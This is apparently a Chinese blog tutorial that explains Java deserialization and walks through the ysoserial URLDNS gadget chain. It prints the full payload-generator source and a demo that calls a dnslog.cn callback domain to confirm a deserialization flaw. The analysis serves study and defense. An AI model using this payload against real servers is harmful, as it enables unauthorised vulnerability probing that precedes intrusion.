Java反序列化与URLDNS
yearnxyl Lv2

序列化与反序列化

对象流:对象流指的是可以直接把一个对象以流的形式传输给其他的介质,比如硬盘

序列化:一个对象以流的形式进行传输,叫做序列化。该对象所对应的类,必须实现Serializable接口

反序列化:将对象流还原成对象的过程叫做反序列化

如下代码,将对象序列化后写入硬盘。

1
2
3
4
5
6
7
8
9
10
package org.example;

import java.io.Serializable;

public class Hero implements Serializable {
//类的当前版本,如果有变化,比如设计新的属性后,就应该修改版本号
public static final long SeriaVersionUID=1;
public String name;
public float hp;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.io.*;

public class stream {
public static void main(String[] args){
Hero h=new Hero();
h.name="Green";
h.hp=616;
//新建文件存储序列化后的信息
File file=new File("F:/Project/IdeaProjects/Serialization/Serialization/serialize.txt");
try{
file.createNewFile();
}catch (IOException e) {
e.printStackTrace();
}
try{
//创建基础字节输出流
FileOutputStream fileOutputStream=new FileOutputStream(file);
//创建对象输出流
ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
//创建基础字节输入流
FileInputStream fileInputStream=new FileInputStream(file);
//创建对象输入流
ObjectInputStream objectInputStream=new ObjectInputStream(fileInputStream);
//将序列化内容写入硬盘文件
objectOutputStream.writeObject(h);
//序列化内容经过反序列化读出
Hero h2= (Hero) objectInputStream.readObject();
System.out.println(h2);
} catch (Exception e) {
e.printStackTrace();
}

}
}

对象输出流应在对象输入流前面。否则会报错

image

Java在序列化一个对象时,将会调用这个对象中的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入这个stream。 反序列化时,会调用readObject ,开发者也可以从中读取出前面写入的内容,并进行处理。有点类似于PHP中的魔术方法。

代码实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

Person(String name,int age){
this.name=name;
this.age=age;
}

private void writeObject(java.io.ObjectOutputStream objectOutputStream) throws IOException {
objectOutputStream.defaultWriteObject();
objectOutputStream.writeObject("this is a object");
}
private void readObject(java.io.ObjectInputStream objectIntputStream) throws IOException, ClassNotFoundException {
objectIntputStream.defaultReadObject();
String message=(String) objectIntputStream.readObject();
System.out.println(message);
}
}

可以看到在执行完默认的 objectOutputStream.defaultWriteObject()后,又向stream中写入了字符串this is a object。同样反序列化后,又将其读出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import java.io.*;

public class stream {
public static void main(String[] args){
Person p=new Person("Chen",18);
//新建文件存储序列化后的信息
File file=new File("F:\\Project\\IdeaProjects\\Serialization\\Serialization\\serialize.txt");
try{
file.createNewFile();
}catch (IOException e) {
e.printStackTrace();
}
try{
//创建基础字节输出流
FileOutputStream fileOutputStream=new FileOutputStream(file);
//创建对象输出流
ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
//创建基础字节输入流
//将序列化内容写入硬盘文件
objectOutputStream.writeObject(p);
objectOutputStream.close();
FileInputStream fileInputStream=new FileInputStream(file);
//创建对象输入流
ObjectInputStream objectInputStream=new ObjectInputStream(fileInputStream);
//序列化内容经过发序列化读出
Person p2=(Person)objectInputStream.readObject();
System.out.println(p2);
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}

}
}

运行结果如下

image

URLDNS

URLDNS是ysoserial中一条利用链的名字。

  • 在java反序列化中存在一个不可绕过的工具:ysoserial。它可以让⽤户根据自己选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从而执⾏⽤户预先定义的命令。
  • 利⽤链也叫“gadget chains”,我们通常称为gadget。我们的代码一环扣一环完整运行下来便可以理解成一个链条。

通常情况下利用链是可以执行任意命令的,URLDNS却仅仅能发送一次DNS请求。但由于其有如下优点:

  • 使用Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

URLDNS成因

URLDNS的成因主要是 java.net.URL类在进行equalshashcode时,会调用java.net.InetAdderss类的getByName方法进行dns查询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.net.URL;

public class urldns {
public static void main(String args[]) throws Exception{
URL a=new URL("http://0yyeip.dnslog.cn");
URL b=new URL("http://0yyeip.dnslog.cn");
a.equals(b);
URL c=new URL("http://0yyeip.dnslog.cn");
c.hashCode();
}

}

image

equals

equals处下断点,简单跟一下流程。

image

当调用equals时,实际上是调用URLStreamHandlerequals方法,跟入:

image

可以看到返回一个逻辑与的判断,当为1时equals成立。在这里逻辑判断的结果取决于sameFile()方法,跟入:

image

400行-415行分别是对u1和u2两个URL对象的属性进行了对比。

Java官方文档写道:如果两个主机名都可以解析为相同的IP地址,则认为两个主机是等效的

https://docs.oracle.com/javase/7/docs/api/java/net/URL.html#equals(java.lang.Object)

因此,在418行hostsEqual针对两个地址解析hosts进行比较。跟入:

image

在这里执行了getHostAddress方法,该方法便是通过调用java.net.InetAdderss类的getByName方法发起dns请求来获取URL对应的ip地址。

image

看一下InetAddres.getByName:

image

image

hashcode

hashcode处下断点

image

发现调用的是URLStreamHandlerhashcode方法。跟入:

image

发现在359行处调用了getHostAddress方法,再通过调用java.net.InetAdderss类的getByName方法发起dns请求来获取URL对应的ip地址。

URLDNS分析

首先看看URLDNS是如何生成的

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

URLDNS.java中有main函数,这是为了方便对其单独调试。我们可以运行主函数,查看其如何产生相应的payload。

跟进PayloadRunner.run();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

System.out.println("generating payload object(s) for command: '" + command + "'");

ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);

System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});

try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}

}

run方法首先获取了序列化之后的数据serialized,之后又将其反序列化。

由于我们是直接运行的main方法,因此command的值是从getDefaultTestCmd()获取的。

image

getDefaultTestCmd()调用getFirstExistingFile()

image

可以看到其返回的为calc.exe,但前面提到URLDNS仅仅能发起DNS请求,无法命令执行。因此这里需要稍作更改,更改为DNS地址。例如:

image

回到run方法,获取到参数之后,程序会将URLDNS类实例化,并调用getObject()方法。

看一下URLDNS.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

首先创建URLStreamHandler,前面提到了:hashcodeequals实际上都是调用了URLStreamHandler里的方法。这里的handler是特地自定义的继承URLStreamHandler的类。具体为什么这么做,后面分析。

之后创建HashMapURL,并调用HashMap.put。跟一下:

image

可以看到里面有hash(key),其会变成key.hashcode

image

而这里的key往上追溯的话会发现就是根据command创建的URL。这里对应上了URLDNS成因里的hashcode,意味着在这里会发生一次DNS请求。

回到getObject()HashMap.put完之后将URLhashcode置为-1,具体原因后面说。最后返回HashMap

回到PayloadRunner.run(),返回的HashMap会被序列化。

接下来看反序列化部分。

1
2
3
4
5
6
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}

前面我们提到,反序列化时会调用对象的readObject方法。去看一下HashMap.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到最后一行存在hash(key)操作,这里的key是从HashMap中取出来的,也就是URL。后面当然也同样对应上了URLDNS成因里的hashcode,意味着在这里也会发生一次DNS请求。

但是经过尝试我们会发现,在整个序列化和反序列化的过程中,仅仅发生了一次DNS请求。这里就和前面特地用继承URLStreamHandler的类有关了。

序列化时用到的URLStreamHandler类为SilentURLStreamHandler

1
2
3
4
5
6
7
8
9
10
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

当序列化时,会调用URL.hashcode(),从而调用URLStreamHandler.hashcode(),然后调用URLStreamHandler.getHostAddress(),这里被替换成了SilentURLStreamHandler.getHostAddress()自然不会继续往下发起DNS请求,但这不是必须的,即使发生两次DNS请求,也可以确认存在反序列化(本地测试时发现,使用URLStreamHandler同样也是只有一次DNS请求,经过debug发现由于序列化和反序列化在同一环境下,反序列化时直接从cache中获的address,并未真正的发起DNS请求)。

image

这里有个需要注意的点:SilentURLStreamHandler是我们自定义的类,在反序列化的时候系统中是没有这个类的,那么他是如何成功反序列化的?并且反序列化时如果调用SilentURLStreamHandler,那岂不是也没有DNS请求?

关于这两个问题:在URL类中URLStreamHandler是被transient修饰的,其并不参与序列化。

image

当反序列化时,会重新创建URLStreamHandler类,以便正常使用其功能。

最后一个问题,序列化时为什么HashMap.put完之后将URLhashcode置为-1。

这个就要看一下URL.hashcode

image

由于我们在序列化时已经进行过hashcode了,只有将其置为-1,在反序列化时其才会再次触发。